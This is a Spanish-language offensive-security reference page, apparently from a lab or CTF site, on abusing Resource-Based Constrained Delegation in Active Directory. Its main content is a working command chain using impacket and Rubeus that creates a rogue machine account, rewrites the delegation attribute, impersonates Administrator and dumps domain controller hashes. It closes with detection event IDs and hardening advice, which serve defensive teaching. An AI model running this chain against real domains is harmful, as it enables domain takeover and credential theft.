the_open_door
café
ESEN
← Volver al índice

RBCD (Resource-Based Constrained Delegation)

ATT&CKT1098
Arsenal completo de comandos en la cheatsheet

La Resource-Based Constrained Delegation (RBCD) es una forma de delegación de Kerberos en la que es el recurso de destino (un equipo, un servicio) quien decide qué cuentas pueden suplantar usuarios contra él. Esa lista de cuentas autorizadas vive en el atributo msDS-AllowedToActOnBehalfOfOtherIdentity del objeto destino.

El abuso aparece cuando controlamos ese atributo sobre un equipo (por ejemplo con GenericAll sobre el objeto del Domain Controller). Si podemos escribirlo, añadimos una cuenta que controlemos a la lista y el KDC nos permitirá pedir tickets de servicio en nombre de cualquier usuario, incluido Administrator, mediante S4U2Self + S4U2Proxy. El flujo típico:

# 1) crear una cuenta de maquina que controlemos (cualquier usuario puede, x10, por MachineAccountQuota)
addcomputer.py <domain>/<user>:<pass> -computer-name 'EVIL$' -computer-pass 'Evil123'

# 2) escribir el SID de esa maquina en el atributo del equipo destino
rbcd.py <domain>/<user>:<pass> -delegate-to 'DC$' -delegate-from 'EVIL$' -action write

# 3) pedir un TGS suplantando a un usuario privilegiado (S4U2Self + S4U2Proxy)
getST.py -spn cifs/<dc.domain> -impersonate Administrator '<domain>/EVIL$:Evil123'

# 4) usar el ticket contra el servicio
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <dc.domain>

La misma cadena en Windows con Powermad, PowerView y Rubeus:

New-MachineAccount -MachineAccount EVIL -Password (ConvertTo-SecureString 'Evil123' -AsPlainText -Force)
Set-ADComputer <target> -PrincipalsAllowedToDelegateToAccount EVIL$
Rubeus.exe hash /password:Evil123 /user:EVIL$ /domain:<domain>
Rubeus.exe s4u /user:EVIL$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/<dc.domain> /ptt

Verificación. El -action read de rbcd.py confirma que nuestra máquina quedó en la lista de delegación antes de pedir el ticket; y el secretsdump -k que vuelca hashes es la prueba de que la suplantación funcionó de punta a punta.

Matiz. RBCD necesita escritura sobre el atributo del destino (no basta con leerlo) y una cuenta con SPN que suplantar: por eso se crea una cuenta de máquina, que trae SPN de serie. Depende de poder crear ese equipo: si el ms-DS-MachineAccountQuota está a 0, hay que usar una cuenta de máquina ya existente que controlemos. Es una alternativa más sigilosa que resetear contraseñas, porque no rompe el acceso de nadie.

Cómo detectarlo. La cadena RBCD deja tres huellas encadenadas en el DC. Crear la cuenta de máquina señuelo genera un Event ID 4741 (se creó una cuenta de equipo) desde un usuario normal, algo rarísimo fuera de un servidor de aprovisionamiento. Escribir el atributo de delegación genera un 5136 (se modificó un objeto del servicio de directorio) sobre msDS-AllowedToActOnBehalfOfOtherIdentity, uno de los atributos que más conviene vigilar. Y el S4U2Proxy final aparece como 4769 (petición de TGS) con el campo Transited Services relleno, señal inequívoca de delegación. La correlación 4741 → 5136 del atributo → 4769 con tránsito, toda desde el mismo actor de bajo privilegio, es una firma muy limpia.

Defensa. Restringir quién puede escribir msDS-AllowedToActOnBehalfOfOtherIdentity y poner el MachineAccountQuota a 0 para que los usuarios normales no creen equipos, que es lo que corta el vector de raíz.

HerramientasgetST.pybloodyADsecretsdump.pyPowermad

Máquinas donde se aplica